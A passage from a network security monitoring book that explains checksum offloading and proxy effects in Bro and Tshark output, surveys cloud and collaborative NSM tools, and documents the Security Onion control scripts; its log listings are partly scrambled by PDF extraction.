205.186.148.46 192.168.1.2 205.186.148.46 205.186.148.46 192.168.1.2 192.168.1.2 205.186.148.46 192.168.1.2 205.186.148.46 192.168.1.2 205.186.148.46 205.186.148.46 205.186.148.46 192.168.1.2

80 2770 80 80 2770 2770 80 2770 80 2770 80 80 80 2770

0x0000 0x5b28 0x0000 0x0000 0x9597 0x8fee 0x0000 0x8fed 0x0000 0x9367 0x0000 0x0000 0x0000 0x9593

Listing 13-10: Custom Tshark output for the bej-ext.pcap trace file

In Listing 13-10, the proxy is 192.168.1.2, and the server is 205.186.148.46, offering web services on port 80 TCP. Again, we see suspicious IP checksums (0x0000) on all packets from the proxy to the web server. As with bej-int.pcap, the system generating IP traffic with bad checksums is the proxy. Why? Proxies and Checksums

297

How Bad Checksums Happen IP checksums occasionally fail to match the intended values due to errors introduced over the Internet. These errors are exceptionally rare, however, unless a real network problem is involved. How did so many checksums fail in Listings 13-7 and 13-10, and why are those failures so consistent? The error reported by Wireshark in Figure 13-3, [incorrect, should be 0x1529 (may be caused by "IP checksum offload"?)], can help us answer those questions. Traditionally, the operating system and network stack were responsible for calculating IP checksums, but modern network drivers and some NICs assume that burden. This process, called offloading, allows the network stack to send traffic quickly. Calculating checksums can be done quickly in the driver or, better yet, by dedicated hardware. Frequent IP checksum errors like those in Listings 13-7 and 13-10 will interfere with your ability to conduct NSM. Traces with bad checksums are often the result of capturing network traffic on a platform that offloads the checksum process to a driver or hardware. The packet seen by the network security tool has a 0x0000, or empty, checksum, but the “real” packet sent on the wire has a true checksum calculated and added to the packet by the driver or hardware. (When SO configures network interfaces, the setup script disables driver and hardware checksum offloading in an effort to avoid these issues.) In our scenario, the proxy relies on checksum offloading to speed up the transmission of network traffic. Unfortunately, the software on the proxy sets a 0x0000 IP checksum on all outgoing packets. Before the packet hits the wire, though, the driver or NIC hardware calculates and inserts a proper checksum. Packets received from other devices have the correct checksums.

Bro and Bad Checksums Now that we’ve looked at good and bad IP checksums, let’s examine why they matter. Some network security tools assume that packets with a bad IP checksum will never be processed by the receiving network endpoint. The network security tool drops the packet. Unfortunately, these bad checksums might simply be caused by offloading. Bro ignores traffic with bad IP checksums. For example, notice how it processes the bej-int.pcap trace file, as shown in Listing 13-11. $ sudo bro -r bej-int.pcap /opt/bro/share/bro/site/local.bro WARNING: No Site::local_nets have been defined. It's usually a good idea to define your local networks. WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-{{interface}}/bpfbro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) WARNING: Template value remaining in BPFConf filename: /etc/nsm/ds61so-{{interface}}/bpf-bro. conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) Listing 13-11: Bro reads the bej-int.pcap trace file.

298

Chapter 13

Nothing odd appears by default, but take a look at weird.log, shown in Listing 13-12. $ cat weird.log #separator \x09 #set_separator , #empty_field (empty) #unset_field #path weird #open 2013-04-23-19-40-10 #fields ts addl notice

uid peer

id.orig_h

id.orig_p

id.resp_h

id.resp_p

#types

string

addr

addr

port

string

string

bool

-

-

-

bad_IP_checksum -

50949

172.16.2.1

3128

50949

172.16.2.1

3128

time

port

1366577618.249515 bro 1366577618.251250 rhdNNjfMGkc upossible_split_routing F 1366577618.251867 rhdNNjfMGkc vdata_before_established F #close

192.168.2.108 bro 192.168.2.108 bro

name

string F

2013-04-23-19-40-10

Listing 13-12: Bro weird.log file

The first entry reports possible_split_routing u because Bro is seeing only half the traffic, namely packets from 192.168.2.108 to 172.16.2.1. These were the packets in Listing 13-9 with good IP checksums. The second entry reports data_before_established v because Bro didn’t see a complete TCP three-way handshake. When Bro misses the three-way handshake, it’s confused when it sees data transmitted before the session was properly established. The Bro http.log file is also odd, as shown in Listing 13-13. $ cat http.log #separator \x09 #set_separator , #empty_field (empty) #unset_field #path http #open 2013-04-23-19-40-10 #fields ts uid depth method host response_body_len tags username

id.orig_h id.orig_p id.resp_h id.resp_p trans_ uri referrer user_agent request_body_len status_code status_msg info_code info_msg filename password proxied mime_type md5 extraction_file

#types time string count table[string]

addr count string

string count string

port string file

addr count

port string

count string

string string table[enum]

string string

string string

Proxies and Checksums

299

1366577618.251867 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128 1 GETu www.bejtlich.net http://www.bejtlich.net/ http://www.taosecurity. com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 0 0 (empty) #close

-

2013-04-23-19-40-10

Listing 13-13: Bro http.log file

We see a GET request here u, but no indication of a reply.

Setting Bro to Ignore Bad Checksums We can tell Bro to shut off its checksum verification and process all traffic using the -C switch, as shown in Listing 13-14. $ sudo bro -r bej-int.pcap -C /opt/bro/share/bro/site/local.bro WARNING: No Site::local_nets have been defined. It's usually a good idea to define your local networks. WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-{{interface}}/bpfbro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) WARNING: 1366577618.694909 Template value remaining in BPFConf filename: /etc/nsm/ds61so{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) Listing 13-14: Bro reads the trace file and ignores checksums.

Now there is no weird.log. If we look at http.log, we’ll see that it’s what we’ve come to expect. Listing 13-15 shows the results. $ cat http.log #separator \x09 #set_separator , #empty_field (empty) #unset_field #path http #open 2013-04-23-20-06-19 #fields ts uid depth method host response_body_len tags username

id.orig_h id.orig_p id.resp_h id.resp_p trans_ uri referrer user_agent request_body_len status_code status_msg info_code info_msg filename password proxied mime_type md5 extraction_file

#types time string count table[string]

addr count string

300

Chapter 13

string count string

port string file

addr count

port string

count string

string string table[enum]

string string

string string

1366577618.251867 aqjpeHaXm7f 192.168.2.108 50949 172.16.2.1 3128 1 GETu www.bejtlich.net http://www.bejtlich.net/v http://www.taosecurity. com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 0 3195 200 OKw (empty) text/htmlx #close

2013-04-23-20-06-19

Listing 13-15: Bro http.log file for bej-int.pcap with checksum validation disabled

Now we see not only the GET request u for http://www.bejtlich.net/ v but also a record of the server’s 200 OK reply w and indication that the page returned was text/html x. You could perform similar analysis concerning Bro’s handling of bej-ext.pcap to see how it works when processing and ignoring checksums. Listing 13-16 shows the results of the http.log file when Bro reads the bej-ext.pcap trace file with checksum processing disabled. $ cat http.log #separator \x09 #set_separator , #empty_field (empty) #unset_field #path http #open 2013-04-24-00-36-03 #fields ts uid depth method host response_body_len tags username

id.orig_h id.orig_p id.resp_h id.resp_p trans_ uri referrer user_agent request_body_len status_code status_msg info_code info_msg filename password proxied mime_type md5 extraction_file

#types time string count table[string]

addr count string

string count string

port string file

addr count

port string

count string

string string table[enum]

string string

string string

1366577618.269074 ua3JI6YJIxh 192.168.1.2 2770 205.186.148.46 80 1 GET www.bejtlich.net /u http://www.taosecurity.com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 0 3195 200 OKv (empty) wVIA -> 1.1 localhost:3128 (squid/2.7.STABLE9),X-FORWARDED-FOR -> 192.168.2.108x text/html #close

2013-04-24-00-36-04

Listing 13-16: Bro http.log file for bej-ext.pcap with checksum validation disabled

In Listing 13-16, the interesting fields are the GET request for / u, the 200 OK reply v from the server, the Via statement w revealing the presence of the Squid proxy, and the X-Forwarded-For field x showing the true source IP address of the web client. With access only to logs of this nature, you could use the X-Forwarded-For field to identify the true source IP address of a client if you saw activity only at location Y and needed to know which browser was surfing to the web server in question. Proxies and Checksums

301

The moral of the checksum story is this: If you must collect traffic from a system that transmits traffic with checksum offloading, be sure your tools know how to handle the situation. Remember that you can tell Bro to ignore bad checksums with the -C switch. See the SO mailing list and wiki or the manual pages for details on equivalent features in other tools. Snort, for example, offers the following options to handle checksum processing: -k

Checksum mode (all,noip,notcp,noudp,noicmp,none)

Now that you know how to handle the checksum offloading characteristics of collecting traffic on this pfSense box running a Squid proxy, you can use the data collected here for troubleshooting. Without taking into account the checksum issue, you may have interpreted the traffic incorrectly and arrived at odd conclusions about network performance.

Conclusion This chapter introduced two features of networks that might trouble analysts: proxies and checksums. Proxies are problematic because they introduce another middlebox, adding complexity to the network. Like NAT, proxies obscure true source and destination IP addresses. Although this chapter showed only one proxy at work, some organizations chain multiple proxies! Such a multiproxy scenario makes the supposed Holy Grail of NSM and proxies—proxy logs—unattainable. When multiple proxies are involved, no single log shows all the activity analysts need to see. If proxy logs were available, however, they would make a useful addition to the data collected by an application like ELSA. We also discussed checksums and odd results caused by offloading. This feature, designed to speed up networking, reveals a downside: zeroed checksums when reported by a traffic capture tool. Although it’s easier to engineer around this challenge, don’t be surprised if an eager analyst provides a trace file with one or both sides of a conversation containing 0x0000 for the IP checksums. With the help of this chapter, you should understand why that occurs and how to handle the issue.

302

Chapter 13

CONCLUSION

I wrote this book to help readers start a network security monitoring operation within their organization. I used the open source SO suite to show how to put NSM to work in a rapid and cost-effective manner. This final section of the book shows several other options for NSM and related operations. My goal is to show how NSM applies to other areas of digital defense and how I think NSM will adapt to increasingly complex information processing requirements. First, I discuss how cloud computing affects NSM. The cloud presents challenges and opportunities, and awareness of both will help security managers better defend their data. Second, I talk about the importance of workflow and why an operational, metrics-driven model is a key to CIRT success.

Cloud Computing The National Institute of Standards and Technology (NIST) defines cloud computing as a model for enabling ubiquitous, convenient, on-demand network access to a shared pool of configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly provisioned and released with minimal management effort or service provider interaction.1

NIST describes three service models: Software as a Service (SaaS) Allows the consumer to use the provider’s applications running on a cloud infrastructure. Platform as a Service (PaaS) Allows the consumer to deploy consumercreated applications or acquired applications created using programming languages, libraries, services, and tools supported by the provider onto the cloud infrastructure. Infrastructure as a Service (IaaS) Gives the consumer access to processing, storage, networks, and other fundamental computing resources where the consumer is able to deploy and run arbitrary software, which can include operating systems and applications. A SaaS offering, like Salesforce.com (http://www.salesforce.com/), gives customers an application that provides certain capabilities, such as customer relationship management. A PaaS offering, like Heroku (http:// www.heroku.com/), gives customers a set of programming languages and related capabilities to build their own applications. An IaaS offering, like Amazon Elastic Compute Cloud (EC2, https://aws.amazon.com/ec2), gives customers a virtual machine and related supporting infrastructure upon which they can install their own software. From an NSM perspective, a key feature of cloud computing is the fact that information processing is being done “somewhere else.” One exception may be a “private” cloud, operated by an organization for internal use, or a “community” cloud, operated by an organization cooperating with partners. When a cloud is “public” or “hybrid,” though, it means an organization’s data is stored, manipulated, and transmitted beyond the normal enterprise boundaries. While many security professionals have debated cloud security and related topics, this section examines visibility challenges posed by cloud computing.

Cloud Computing Challenges With data processing occurring outside an organization, a CIRT cannot rely on the network instrumentation models introduced in Chapter 2.

1. Peter Mell and Timothy Grance, “The NIST Definition of Cloud Computing,” NIST Special Publication 800-145, National Institute of Standards and Technology, U.S. Department of Commerce, September 2011, http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf.

304

Conclusion

Cloud users are not normally able to deploy taps or configure SPAN ports to see traffic to or from a cloud provider’s infrastructure. By its very nature, cloud infrastructures tend to be multitenant environments catering to hundreds or thousands of customers on shared platforms. Even though you may want to see network traffic to and from the platforms processing your data, your cloud neighbors may not want you to see their traffic! NSM is generally not an option for SaaS offerings because customers interact with an application provided by a cloud company. Customers are limited to relying upon whatever logs the cloud provider makes available. NSM is also rarely possible for PaaS offerings, although customers can choose to build application-level logging capabilities into the software they build on the PaaS platform. NSM may be possible on IaaS offerings, but the visibility is generally limited to specific virtual machines. NSM on IaaS requires lightweight approaches where agents on the specific VM collect and analyze network-centric data. Threat Stack (http://www.threatstack.com/) is an example of a commercial offering to meet the need for NSM on IaaS cloud platforms. Dustin Webber, author of the Snorby tool, founded Threat Stackwith Jen Andre to extend Snorby beyond the enterprise. Threat Stack provides a lightweight agent that collects and generates NSM information on individual endpoints, whether in the enterprise or on IaaS cloud platforms. The Threat Stack agent reports its findings to a cloud-based controller operated by the Threat Stack team. When analysts want to investigate NSM data from the agents, they log into a cloud application published by Threat Stack. Figure 1 depicts the Threat Stack dashboard, showing data from an agent deployed on a virtual private server.

Figure 1: Threat Stack dashboard Conclusion

305

Threat Stack demonstrates how a cloud-based challenge, like monitoring IaaS platforms, can be met by using the cloud to collect and present NSM data from agents. This hints at some of the benefits cloud computing brings to NSM operators.

Cloud Computing Benefits Cloud environments give analysts powerful and expandable environments to process and mine NSM data. By putting NSM data in the cloud, storage and analytical power become less of an issue. Analysts must be comfortable with the security controls applied by the cloud provider before putting sensitive information in the hands of another company. If the provider can meet those concerns, the cloud offers exciting possibilities. Packetloop (http://www.packetloop.com/) is an example of another commercial offering built on the cloud, but with a different focus. Michael Baker and his team in Australia built Packetloop as a cloud-based application to analyze network traffic uploaded by users. Analysts can send network traffic in bulk to Packetloop, which then processes and displays that traffic in various ways. Figure 2 shows a Packetloop dashboard for the network traffic associated with a Digital Corpora sample case (http://digitalcorpora.org/corpora/ scenarios/m57-patents-scenario/).

Figure 2: Packetloop dashboard for sample network traffic

Threat Stack and Packetloop are options for enterprise users comfortable with sending local data to cloud providers. Perhaps more importantly, these two offerings are suitable for customers who already do computing in the cloud. In other words, customers doing work in the cloud are likely 306

Conclusion

to be comfortable sending logs or network traffic or both to another cloud offering, such as a security vendor. As more computing work shifts from the enterprise to the cloud, I expect this sort of “cloud-to-cloud” relationship to become more important for security and monitoring needs.

Workflow, Metrics, and Collaboration NSM isn’t just about tools. NSM is an operation, and that concept implies workflow, metrics, and collaboration. A workflow establishes a series of steps that an analyst follows to perform the detection and response mission. Metrics, like the classification and count of incidents and the time elapsed from incident detection to containment, measure the effectiveness of the workflow. Collaboration enables analysts to work smarter and faster.

Workflow and Metrics The next generation of NSM tools will incorporate these key features. Mandiant provides these capabilities in several of its commercial offerings. The goal is to help customers more rapidly scope an intrusion, manage the escalation and resolution process, and highlight areas of improvement. Figure 3 shows a graph of two key incident response measurements.

Figure 3: Tracking open incidents versus the average time to close an incident

In Figure 3, we see a series of dots connected into a line, showing the average time, in hours, required to close an incident. In this case, “closing” means conducting short-term incident containment (STIC) to mitigate the risk posed by an intruder who has compromised a computer. The bars show the number of open incidents on a daily basis. The spike in open incidents on April 23 caused the average closure time to spike as well. This indicates that the CIRT was overwhelmed by the number of incidents it had to manage. If the organization’s goal for average closure time is 10 hours or less, this spike demonstrates that the CIRT cannot meet such a goal when the number of open incidents exceeds 10 daily cases. CIRT managers can use these metrics to justify additional headcount or to adjust processes or tools to keep the CIRT on track. Conclusion

307

Collaboration CIRTs that can manage many simultaneous intrusions often benefit from powerful collaboration tools. Many analysts are familiar with wikis, chat channels and clients, and other tools for exchanging incident data. A new sort of collaboration tool combines processing NSM data with shared analytical capabilities. Just as online word processing applications like Google Docs allow multiple users to collaborate simultaneously, some tools are emerging to provide similar features to NSM operators. CloudShark (http://www.cloudshark.org/) is an example of a collaborative packet analysis tool. The team at QA Cafe (http://www.qacafe.com/) built CloudShark as a platform that customers could deploy on-premise and share among multiple team members. (Despite its name, CloudShark doesn’t reside in the cloud; customers buy the software and deploy it within their enterprise.2) Analysts upload packet captures to the local appliance and then manipulate packet captures via a web browser. Figure 4 shows an example of CloudShark rendering DNS and Online Certificate Status Protocol (OCSP) traffic.

Figure 4: CloudShark displaying DNS and OCSP traffic

CloudShark appears very similar to Wireshark, so analysts will feel at home in the interface. A CIRT could maintain a local CloudShark appliance as a repository of key network traces derived from various intrusions.

2. The example in this section appears courtesy of CloudShark and Jeremy Stretch, who publish sample traces online at http://packetlife.net/captures/protocol/dns/ and http://www.cloudshark .org/captures/46b2c8403863/ to demonstrate CloudShark’s capabilities.

308

Conclusion

For example, when Sguil retrieves traffic from a sensor to build a transcript, the server retains a local archive of the traffic. A CIRT could upload all of those captures to CloudShark, making them easily available and browsable by analysts. These analysts could also add comments to the trace via the Info and Comments features and tag the trace with key names for later reference. Being a local appliance, CloudShark may address some of the concerns presented by pure cloud-based offerings as well.

Conclusion This final part of the book showed examples of some of the NSM capabilities found outside the SO suite. As CIRTs realize that the power of NSM must be applied to cloud environments and can be augmented by cloud and collaborative platforms, I expect to see more offerings leveraging those capabilities. Threat Stack, Packetloop, Mandiant, and CloudShark are a few examples of companies integrating NSM-related services into their core offerings. With luck, these and other solution providers will continue to put tools and processes into the hands of CIRTs worldwide. It is possible to defeat adversaries if we stop them before they accomplish their mission. As it has been since the early 1990s, NSM will continue to be a powerful, cost-effective way to counter intruders. Take heart, CIRTs; the future remains bright!

Conclusion

309

SO SCRIPTS A ND CONFIGUR AT ION by Doug Burks, creator of Security Onion

This appendix provides a quick reference to the Security Onion (SO) control scripts and configuration files. This material will help SO users better administer and optimize their sensor deployments. SO Control Scripts The NSM control scripts are one of the core components of SO. These scripts were originally a part of the NSMnow package developed by the SecurixLive team (http://www.securixlive.com/nsmnow/docs/index.php), but they have been heavily modified for use in SO.

The NSM scripts were first developed to control a Sguil server (sguild), its agents (snort_agent, pads_agent, sancp_agent, and pcap_agent), and its sensor components (snort, pads, sancp, and daemonlogger). The following are some of the changes we’ve made to SO: • • • • • • • •

Added the ability to use Suricata instead of Snort Added the ability to spin up multiple instances of Snort via PF_RING (and an equal number of instances of barnyard2 and snort_agent) Added control of Argus Added control of Bro Added control of Sguil’s OSSEC agent Added control of Sguil’s HTTP agent Replaced pads and sancp with prads Replaced daemonlogger with netsniff-ng

The NSM scripts are installed at /usr/sbin/nsm* and require root privileges, so they should be run using sudo. The directory /usr/sbin/ should be in your PATH variable, so you shouldn’t need to include the full path when executing the commands. The full path is included in the examples here for completeness. We won’t cover every option for every script, but you can explore each of these scripts using --help to learn more about them. For example, to see more information about /usr/sbin/nsm, enter this command: $ sudo /usr/sbin/nsm --help The NSMnow Administration scripts are designed to easily configure and manage your NSM installation. Bugs, comments and flames can be directed to the SXL team at [email protected] The NSMnow Administration scripts come with ABSOLUTELY NO WARRANTY. Usage: /usr/sbin/nsm [options] Options: -U -V -? Long Options: --sensor --server --all --upgrade --version --help

312

Appendix

Check and apply any available upgrades Show version information Show usage information

See nsm_sensor See nsm_server Performs actions on both sensor and server Same as -U Same as -V Same as -?

/usr/sbin/nsm The high-level /usr/sbin/nsm script can pass options to some of the underlying scripts such as nsm_server and nsm_sensor. To check the status of all server and sensor processes, enter the following: $ sudo /usr/sbin/nsm --all --status Status: securityonion * sguil server [ OK Status: HIDS * ossec_agent (sguil) [ OK Status: Bro Name Type Host Status Pid Peers Started bro standalone localhost running 13015 0 18 Feb 16:35:40 Status: securityonion-eth1 * netsniff-ng (full packet data) [ OK * pcap_agent (sguil) [ OK * snort_agent-1 (sguil) [ OK * snort-1 (alert data) [ OK * barnyard2-1 (spooler, unified2 format) [ OK * prads (sessions/assets) [ OK * sancp_agent (sguil) [ OK * pads_agent (sguil) [ OK * argus [ OK * http_agent (sguil) [ OK /etc/init.d/nsm is a wrapper for “/usr/sbin/nsm –all”, so you can also do: sudo service nsm status

] ]

] ] ] ] ] ] ] ] ] ]

In addition to status, you can use other process control keywords, such as start, stop, and restart.

/usr/sbin/nsm_all_del The high-level /usr/sbin/nsm_all_del script will prompt for user confirmation, and then call nsm_all_del_quick to delete all NSM data and configuration. $ sudo /usr/sbin/nsm_all_del WARNING! Continuing will permanently delete all NSM configuration and data! Press Ctrl-C to cancel. OR Press Enter to continue. Stopping: securityonion * stopping: sguil server Stopping: HIDS * stopping: ossec_agent (sguil) Stopping: Bro stopping bro ...

[

OK

]

[

OK

]

SO Scripts and Configuration

313

Stopping: securityonion-eth1 * stopping: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * stopping: snort_agent-1 (sguil) * stopping: snort-1 (alert data) * stopping: barnyard2-1 (spooler, unified2 format) * stopping: prads (sessions/assets) * stopping: sancp_agent (sguil) * stopping: pads_agent (sguil) * stopping: argus * stopping: http_agent (sguil)

[ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

Delete Sensor All configurations and collected data for sensor "securityonion-eth1" will be deleted. Deleting sensor: securityonion-eth1 * removing configuration files * removing collected data files * updating the sensor table

[ [ [

OK OK OK

] ] ]

OK OK OK OK

] ] ] ]

Delete Server All configurations and collected data for server "securityonion" will be deleted. Deleting server:ontinue? (Y/N) [N]: * removing configuration files * removing collected data files * removing database * updating the server table

[ [ [ [

/usr/sbin/nsm_all_del_quick The high-level /usr/sbin/nsm_all_del_quick script will call nsm_sensor_del and nsm_server_del to delete all NSM data and configuration, but will not prompt for user confirmation. Be careful with this one! $ sudo nsm_all_del_quick Stopping: securityonion * stopping: sguil server Stopping: HIDS * stopping: ossec_agent (sguil) Stopping: Bro stopping bro ... Stopping: securityonion-eth1 * stopping: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * stopping: snort_agent-1 (sguil) * stopping: snort-1 (alert data)

314

Appendix

[

OK

]

[

OK

]

[ [ [ [

OK OK OK OK

] ] ] ]

* * * * * *

stopping: stopping: stopping: stopping: stopping: stopping:

barnyard2-1 (spooler, unified2 format) prads (sessions/assets) sancp_agent (sguil) pads_agent (sguil) argus http_agent (sguil)

[ [ [ [ [ [

OK OK OK OK OK OK

] ] ] ] ] ]

Delete Sensor All configurations and collected data for sensor "securityonion-eth1" will be deleted. Deleting sensor: securityonion-eth1 * removing configuration files * removing collected data files * updating the sensor table

[ [ [

OK OK OK

] ] ]

OK OK OK OK

] ] ] ]

Delete Server All configurations and collected data for server "securityonion" will be deleted. Deleting server:ontinue? (Y/N) [N]: * removing configuration files * removing collected data files * removing database * updating the server table

[ [ [ [

/usr/sbin/nsm_sensor The high-level /usr/sbin/nsm_sensor script can pass options to some of the underlying nsm_sensor_* scripts. $ sudo /usr/sbin/nsm_sensor --status Status: HIDS * ossec_agent (sguil) Status: Bro Name Type Host Status bro standalone localhost running Status: securityonion-eth1 * netsniff-ng (full packet data) * pcap_agent (sguil) * snort_agent-1 (sguil) * snort-1 (alert data) * barnyard2-1 (spooler, unified2 format) * prads (sessions/assets) * sancp_agent (sguil) * pads_agent (sguil) * argus * http_agent (sguil)

[ Pid 13015

Peers 0

OK

]

Started 18 Feb 16:35:40 [ [ [ [ [ [ [ [ [ [

SO Scripts and Configuration

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

315

/usr/sbin/nsm_sensor_add The /usr/sbin/nsm_sensor_add script is called by the setup wizard to add a new sensor. You shouldn’t need to run this script manually.

/usr/sbin/nsm_sensor_backup-config The /usr/sbin/nsm_sensor_backup-config script will back up sensor configuration files to a user-specified tarball.

/usr/sbin/nsm_sensor_backup-data The /usr/sbin/nsm_sensor_backup-data script will back up sensor datafiles to a user-specified tarball. Keep in mind that datafiles consist of full packet capture and could be many gigabytes or terabytes.

/usr/sbin/nsm_sensor_clean The /usr/sbin/nsm_sensor_clean script is called by an hourly cronjob. If disk usage is at 90 percent or higher, the oldest day’s worth of NSM data (pcaps, Bro logs, and so on) will be deleted until disk usage is below 90 percent. The process is repeated until disk usage falls below 90 percent.

/usr/sbin/nsm_sensor_clear The /usr/sbin/nsm_sensor_clear script clears all data from a sensor. $ sudo /usr/sbin/nsm_sensor_clear --sensor-name=securityonion-eth1 Clear Sensor All collected data for sensor "securityonion-eth1" will be cleared. Do you want to continue? (Y/N) [N]: y Clearing sensor: securityonion-eth1 * removing bookmarks * removing collected data files * removing collected log directories

[ [ [

OK OK OK

] ] ]

/usr/sbin/nsm_sensor_del The /usr/sbin/nsm_sensor_del script removes all data and configuration for a user-specified sensor, permanently disabling it. $ sudo /usr/sbin/nsm_sensor_del --sensor-name=securityonion-eth1 Delete Sensor All configurations and collected data for sensor "securityonion-eth1" will be deleted. Do you want to continue? (Y/N) [N]: y

316

Appendix

Deleting sensor: securityonion-eth1 * removing configuration files * removing collected data files * updating the sensor table

[ [ [

OK OK OK

] ] ]

/usr/sbin/nsm_sensor_edit The /usr/sbin/nsm_sensor_edit script allows you to edit certain details of a sensor’s configuration.

/usr/sbin/nsm_sensor_ps-daily-restart The /usr/sbin/nsm_sensor_ps-daily-restart script is called by a daily cronjob at midnight to restart any services that may be dealing with date-based output and need to roll to a new date stamp.

/usr/sbin/nsm_sensor_ps-restart The /usr/sbin/nsm_sensor_ps-restart script is used to restart sensor processes. $ sudo /usr/sbin/nsm_sensor_ps-restart Restarting: HIDS * stopping: ossec_agent (sguil) * starting: ossec_agent (sguil) Restarting: Bro stopping bro ... starting bro ... Restarting: securityonion-eth1 * restarting with overlap: netsniff-ng (full packet data) * starting: netsniff-ng (full packet data) - stopping old process: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * starting: pcap_agent (sguil) * stopping: snort_agent-1 (sguil) * starting: snort_agent-1 (sguil) * stopping: snort-1 (alert data) * starting: snort-1 (alert data) * stopping: barnyard2-1 (spooler, unified2 format) * starting: barnyard2-1 (spooler, unified2 format) * stopping: prads (sessions/assets) * starting: prads (sessions/assets) * stopping: pads_agent (sguil) * starting: pads_agent (sguil) * stopping: sancp_agent (sguil) * starting: sancp_agent (sguil) * stopping: argus * starting: argus * stopping: http_agent (sguil) * starting: http_agent (sguil)

[ [

OK OK

] ]

[ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ]

SO Scripts and Configuration

317

Note that this and the remaining nsm_sensor_ps-* scripts allow you to be very granular in what sensors or processes you control. For example, notice the --only-, --skip-, and --sensor-name= options in the following --help listing: $ sudo /usr/sbin/nsm_sensor_ps-restart --help The NSMnow Administration scripts come with ABSOLUTELY NO WARRANTY. Usage: /usr/sbin/nsm_sensor_ps-restart [options] Options: -d -y -V -?

Use dialog mode Force yes Show version information Show usage information

Long Options: --sensor-name= --only-barnyard2 --only-snort-alert --only-pcap --only-argus --only-prads --only-bro

318

Appendix

Define specific sensor to process Only process barnyard2 Only process snort alert Only process packet logger Only process argus Only process prads Only process bro

--only-pcap-agent --only-sancp-agent --only-snort-agent --only-http-agent --only-pads-agent --only-ossec-agent

Only Only Only Only Only Only

process process process process process process

pcap_agent sancp_agent snort_agent http_agent pads_agent ossec_agent

--skip-barnyard2 --skip-snort-alert --skip-pcap --skip-argus --skip-prads --skip-bro

Skip Skip Skip Skip Skip Skip

processing processing processing processing processing processing

of of of of of of

barnyard2 snort alert packet logger argus prads bro

--skip-pcap-agent --skip-sancp-agent --skip-snort-agent --skip-http-agent --skip-pads-agent --skip-ossec-agent

Skip Skip Skip Skip Skip Skip

processing processing processing processing processing processing

of of of of of of

pcap_agent sancp_agent snort_agent http_agent pads_agent ossec_agent

--if-stale --dialog --force-yes

Only restart processes that have crashed Same as -d Same as -y

--version --help

Same as -V Same as -?

For example, suppose you’ve just made changes to snort.conf, and you want to restart Snort to make those changes take effect. Instead of restarting the entire stack, you could restart just the Snort process, as follows: $ sudo /usr/sbin/nsm_sensor_ps-restart --only-snort-alert Restarting: securityonion-eth1 * stopping: snort-1 (alert data) * starting: snort-1 (alert data)

[ [

OK OK

] ]

/usr/sbin/nsm_sensor_ps-start The /usr/sbin/nsm_sensor_ps-start script is used to start sensor processes. $ sudo /usr/sbin/nsm_sensor_ps-start Starting: HIDS * starting: ossec_agent (sguil) Starting: Bro starting bro ... Starting: securityonion-eth1 * starting: netsniff-ng (full packet data) * starting: pcap_agent (sguil) * starting: snort_agent-1 (sguil) * starting: snort-1 (alert data) * starting: barnyard2-1 (spooler, unified2 format) * starting: prads (sessions/assets) * starting: pads_agent (sguil) * starting: sancp_agent (sguil) * starting: argus * starting: http_agent (sguil) * disk space currently at 26%

[

OK

]

[ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

/usr/sbin/nsm_sensor_ps-status The /usr/sbin/nsm_sensor_ps-status script is used to check the status of sensor processes. $ sudo /usr/sbin/nsm_sensor_ps-status Status: HIDS * ossec_agent (sguil) Status: Bro Name Type Host Status bro standalone localhost running Status: securityonion-eth1 * netsniff-ng (full packet data) * pcap_agent (sguil) * snort_agent-1 (sguil) * snort-1 (alert data) * barnyard2-1 (spooler, unified2 format)

[ Pid 15426

Peers 0

OK

]

Started 18 Feb 16:40:23 [ [ [ [ [

SO Scripts and Configuration

OK OK OK OK OK

] ] ] ] ]

319

* * * * *

prads (sessions/assets) sancp_agent (sguil) pads_agent (sguil) argus http_agent (sguil)

[ [ [ [ [

OK OK OK OK OK

] ] ] ] ]

[

OK

]

[ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

/usr/sbin/nsm_sensor_ps-stop The /usr/sbin/nsm_sensor_ps-stop script is used to stop sensor processes. $ sudo /usr/sbin/nsm_sensor_ps-stop Stopping: HIDS * stopping: ossec_agent (sguil) Stopping: Bro stopping bro ... Stopping: securityonion-eth1 * stopping: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * stopping: snort_agent-1 (sguil) * stopping: snort-1 (alert data) * stopping: barnyard2-1 (spooler, unified2 format) * stopping: prads (sessions/assets) * stopping: sancp_agent (sguil) * stopping: pads_agent (sguil) * stopping: argus * stopping: http_agent (sguil)

/usr/sbin/nsm_server The high-level /usr/sbin/nsm_server script can pass options to some of the underlying nsm_server_* scripts. $ sudo /usr/sbin/nsm_server --status Status: securityonion * sguil server

[

OK

/usr/sbin/nsm_server_add The /usr/sbin/nsm_server_add script is used by the setup wizard to create a new Sguil server (sguild). You shouldn’t need to run this script manually.

/usr/sbin/nsm_server_backup-config The /usr/sbin/nsm_server_backup-config script backs up the sguild configuration files to a user-specified tarball.

